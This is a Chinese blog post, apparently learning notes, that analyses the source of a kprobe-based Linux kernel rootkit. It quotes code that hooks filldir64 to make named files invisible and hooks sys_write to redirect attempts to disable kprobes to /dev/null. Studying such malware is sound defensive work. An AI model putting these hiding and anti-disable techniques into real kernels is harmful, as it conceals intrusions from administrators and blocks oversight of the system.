介绍

《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码

kprobe

kprobe的介绍可以看下面这几篇文章

介绍:https://www.cnblogs.com/honpey/p/4575928.html

原理:https://www.cnblogs.com/honpey/p/4575902.html

用法:https://blog.csdn.net/luckyapple1028/article/details/52972315

rootkit

用来隐藏进程,文件等信息的恶意软件

关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html

使用kprobe来写rootkit

作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit

这里分析一下这个项目的源码

这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头

char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3
"test1",
"test2",
"test3"
};

在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置

 //n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");

然后就向这两个函数的开头和结尾注册了jprobe和retprobe

//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);

同时还会去找另外3个函数的地址,get_task_comn是获得

_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");

然后有4个kprobe结构,包含着我们的实现代码

static struct jprobe syswrite_jp =
{
.entry = (kprobe_opcode_t *)j_sys_write
}; static struct jprobe filldir64_jp =
{
.entry = (kprobe_opcode_t *)j_filldir64
}; static struct kretprobe filldir64_kp =
{
.handler = filldir64_ret_handler,
.maxactive = NR_CPUS
}; static struct kretprobe syswrite_kp =
{
.handler = sys_write_ret_handler,
.maxactive = NR_CPUS
};

先看filldir64的两个函数

j_filldir64是jprobe的函数,在filldir64之前执行,
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = ; i < HIDDEN_FILES_MAX; i++)
  if (strcmp(hidden_files[i], name) == )
    found_hidden_file++;
  if (!found_hidden_file)
    goto end;

如果有,则记录在全局变量中

        //全局指针,如果有,则记录下这么目录,
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
g_dentry.bypass++; // note that we want to bypass viewing this file

在返回的时候,如果发现是需要隐藏的目录,则直接清除掉

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
char *ptr, null = ;
/* Someone is looking at one of our hidden files */
if (g_dentry.bypass)
{
/* Lets nullify the filename so it simply is invisible */
ptr = (char *)g_dentry.d_name_ptr;
copy_to_user((char *)ptr, &null, sizeof(char));
}
}

在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能

可以通过get_task_comn来获取进程的可执行文件名字

    _get_task_comm(comm, current);
printk("comm: %s\n", comm);
if (strcmp(comm, "ls"))
goto do_inode_check;
else
/* check to see if this is an ls stat complaint, or ls -l weirdness */
/* There are two separate calls to sys_write hence two strstr checks */
if (strstr(s, "cannot access") || strstr(s, "ls:"))
{
printk("Going to redirect\n");
goto redirect;
}

然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled

       //先得到file结构,然后得到dentry,最后再得到inode结构
file = fget(fd);
if (!file)
goto out;
dentry = dget(file->f_path.dentry);
if (!dentry)
goto out;
ino = dentry->d_inode->i_ino;
dput(dentry);
fput(file);
/* If someone tries to disable kprobes or tries to see our probes */
/* in /sys/kernel/debug/kprobes, it aint happening */
//enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
if (ino == enabled_ino)
{
printk("ino: %u\n", ino);
goto redirect;
}
else
goto out;

最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样

        //KERNEL_DS范围很大,到0xffffffffffffffff
mm_segment_t o_fs = get_fs();
set_fs(KERNEL_DS); _sys_close(fd);
fd = _sys_open(devnull, O_RDWR, ); set_fs(o_fs);
global_fd = fd;

关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html

在write写结束的位置,再关闭NULL文件就可以了。

linux kprobe rootkit学习的更多相关文章

  1. linux lkm rootkit常用技巧

    简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...

  2. 20135231 —— Linux 基础入门学习

    20135231 何佳 学习计时:共12小时 读书:5 代码:2 作业:2 博客:3 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用Li ...

  3. Linux系统新手学习的11点建议

    随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...

  4. Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)

    Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)

  5. Linux进程间通信IPC学习笔记之同步二(Posix 信号量)

    Linux进程间通信IPC学习笔记之同步二(Posix 信号量)

  6. Linux进程间通信IPC学习笔记之消息队列(SVR4)

    Linux进程间通信IPC学习笔记之消息队列(SVR4)

  7. Linux进程间通信IPC学习笔记之有名管道

    基础知识: 有名管道,FIFO先进先出,它是一个单向(半双工)的数据流,不同于管道的是:是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)有一个与路径名关联的名 ...

  8. Linux进程间通信IPC学习笔记之管道

    基础知识: 管道是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)没有名字: 2)用于共同祖先间的进程通信: 3)读写操作用read和write函数 #incl ...

  9. Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]

     Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...

随机推荐

  1. shell基础之一

    Shell脚本自动化管理系统的必备基础: vim编辑器的熟练使用,SSH终端及“.vimrc”的设置等等需要熟悉. 命令基础:Linux的150个常用命令的熟练使用 Linux的正则表达式以及三剑客( ...

  2. MKAnnotation image offset with custom pin image

    </pre><pre> Your UIAnnotationView is always drawn at the same scale, the map's zoom leve ...

  3. initData()

    void initData(){ int i, j; //加载数据时让用户等待,一般情况加载数据比较快 printf("游戏加载中,请稍后........."); //遍历地图中的 ...

  4. C#_选择结构,Console的应用,数据类型转换

    1:先看一个顺序结构编程,代码如下: using System; using System.Collections.Generic; using System.Linq; using System.T ...

  5. js获取整个屏幕的尺寸

    原文 首先获取屏幕宽度:window.screen.width;    //整个屏幕的宽度. 然后获取屏幕高度:window.screen.height;     //整个屏幕的高度. 获取可用工作区 ...

  6. Linux dd烧写系统

    虽然用dd指令烧写系统很简单,但是久而久之忘得也太快了,赶紧整理一下. .img 系统镜像 .iso U盘启动引导文件 1. 先来查看本机磁盘情况,打开Linux终端界面(快捷键Ctrl + Alt ...

  7. 同源策略和Ajax跨域访问

    1. 什么是同源策略 理解跨域首先必须要了解同源策略.同源策略是浏览器上为安全性考虑实施的非常重要的安全策略.    何谓同源:        URL由协议.域名.端口和路径组成,如果两个URL的协议 ...

  8. react数据渲染

    现在需要在页面上显示一本书的章节,章节内容存放到一个数组里面: const lessons = [ { title: 'Lesson 1: title', description: 'Lesson 1 ...

  9. MySQL使用空事务解决slave从库errant问题

    MySQL集群一般部署为主从架构,主库专门用于写入数据,从库用于读数据. 异常情况下,在从库上写入数据,就会出现主从数据不一致问题,称为errant. 如果从库上的这些数据主库上已经有了,或者主库不需 ...

  10. OGG ERRORS 总结

    OGG ERRORS 总结 */--> OGG ERRORS 总结 Table of Contents 1. libnnz11.so 2. 00446 2.1. missing filename ...